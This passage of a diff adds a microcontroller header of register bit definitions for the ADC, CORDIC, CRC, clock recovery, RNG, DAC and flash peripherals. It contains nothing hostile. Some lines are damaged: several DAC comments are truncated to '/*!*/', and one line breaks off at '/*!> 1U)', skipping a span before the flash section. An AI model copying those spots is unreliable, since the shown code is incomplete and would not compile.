(23UL) +#define ADC_CCR_VSENSEEN_Msk (0x1UL << ADC_CCR_VSENSEEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_VSENSEEN ADC_CCR_VSENSEEN_Msk /*!< Temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24UL) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< VBAT enable */ +#define ADC_CCR_LFMEN_Pos (25UL) +#define ADC_CCR_LFMEN_Msk (0x1UL << ADC_CCR_LFMEN_Pos) /*!< 0x02000000 */ +#define ADC_CCR_LFMEN ADC_CCR_LFMEN_Msk /*!< Low Frequency Mode Enable, specific ADC4*/ +#define ADC_CCR_VDDCOREN_Pos (26UL) +#define ADC_CCR_VDDCOREN_Msk (0x1UL << ADC_CCR_VDDCOREN_Pos) /*!< 0x04000000 */ +#define ADC_CCR_VDDCOREN ADC_CCR_VDDCOREN_Msk /*!< VDDCode enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0UL) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16UL) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + +/******************** Bit definition for ADC_CDR2 register ******************/ +#define ADC_CDR2_RDATA_ALT_Pos (0UL) +#define ADC_CDR2_RDATA_ALT_Msk (0xFFFFFFFFUL << ADC_CDR2_RDATA_ALT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CDR2_RDATA_ALT ADC_CDR2_RDATA_ALT_Msk /*!< Regular data of the master/slave alternated ADCs */ + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0UL) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4UL) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8UL) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16UL) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17UL) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18UL) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19UL) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20UL) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21UL) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22UL) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31UL) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0UL) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0UL) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0UL) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0UL) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0UL) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3UL) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5UL) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7UL) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0UL) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0UL) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0UL) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1UL) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2UL) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3UL) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5UL) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6UL) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7UL) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8UL) +#define CRS_CR_TRIM_Msk (0x7FUL << CRS_CR_TRIM_Pos) /*!< 0x00007F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0UL) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16UL) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24UL) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28UL) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31UL) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0UL) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1UL) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2UL) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3UL) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8UL) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9UL) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10UL) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15UL) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16UL) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0UL) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1UL) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2UL) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3UL) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2UL) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3UL) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5UL) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7UL) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8UL) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12UL) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13UL) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16UL) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20UL) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30UL) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31UL) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0UL) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1UL) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2UL) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5UL) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6UL) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0UL) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3UL) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6UL) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9UL) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12UL) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15UL) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0UL) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk +/******************** RNG Nist Compliance Values *******************/ +#define RNG_CR_NIST_VALUE (0x00F10F00U) +#define RNG_HTCR_NIST_VALUE (0x92F3U) +#define RNG_NSCR_NIST_VALUE (0x1609U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0UL) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14UL) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16UL) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30UL) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0UL) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) + +#define FLASH_PAGE_SIZE 0x2000U /* 8 KB */ + +#define FLASH_PAGE_NB (FLASH_BANK_SIZE / FLASH_PAGE_SIZE) + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0UL) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_PRFTEN_Pos (8UL) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ +#define FLASH_ACR_LPM_Pos (11UL) +#define FLASH_ACR_LPM_Msk (0x1UL << FLASH_ACR_LPM_Pos) /*!< 0x00000800 */ +#define FLASH_ACR_LPM FLASH_ACR_LPM_Msk /*!< Low-Power read mode */ +#define FLASH_ACR_PDREQ1_Pos (12UL) +#define FLASH_ACR_PDREQ1_Msk (0x1UL << FLASH_ACR_PDREQ1_Pos) /*!< 0x00001000 */ +#define FLASH_ACR_PDREQ1 FLASH_ACR_PDREQ1_Msk /*!< Bank 1 power-down mode request */ +#define FLASH_ACR_PDREQ2_Pos (13UL) +#define FLASH_ACR_PDREQ2_Msk (0x1UL << FLASH_ACR_PDREQ2_Pos) /*!< 0x00002000 */ +#define FLASH_ACR_PDREQ2 FLASH_ACR_PDREQ2_Msk /*!< Bank 2 power-down mode request */ +#define FLASH_ACR_SLEEP_PD_Pos (14UL) +#define FLASH_ACR_SLEEP_PD_Msk (0x1UL << FLASH_ACR_SLEEP_PD_Pos) /*!< 0x00004000 */ +#define FLASH_ACR_SLEEP_PD FLASH_ACR_SLEEP_PD_Msk /*!< Flash power-down mode during sleep */ + +/****************** Bits definition for FLASH_NSSR register *****************/ +#define FLASH_NSSR_EOP_Pos (0UL) +#define FLASH_NSSR_EOP_Msk (0x1UL << FLASH_NSSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_NSSR_EOP FLASH_NSSR_EOP_Msk /*!< Non-secure end of operation */ +#define FLASH_NSSR_OPERR_Pos (1UL) +#define FLASH_NSSR_OPERR_Msk (0x1UL << FLASH_NSSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_NSSR_OPERR FLASH_NSSR_OPERR_Msk /*!< Non-secure operation error */ +#define FLASH_NSSR_PROGERR_Pos (3UL) +#define FLASH_NSSR_PROGERR_Msk (0x1UL << FLASH_NSSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_NSSR_PROGERR FLASH_NSSR_PROGERR_Msk /*!< Non-secure programming error */ +#define FLASH_NSSR_WRPERR_Pos (4UL) +#define FLASH_NSSR_WRPERR_Msk (0x1UL << FLASH_NSSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_NSSR_WRPERR FLASH_NSSR_WRPERR_Msk /*!< Non-secure write protection error */ +#define FLASH_NSSR_PGAERR_Pos (5UL) +#define FLASH_NSSR_PGAERR_Msk (0x1UL << 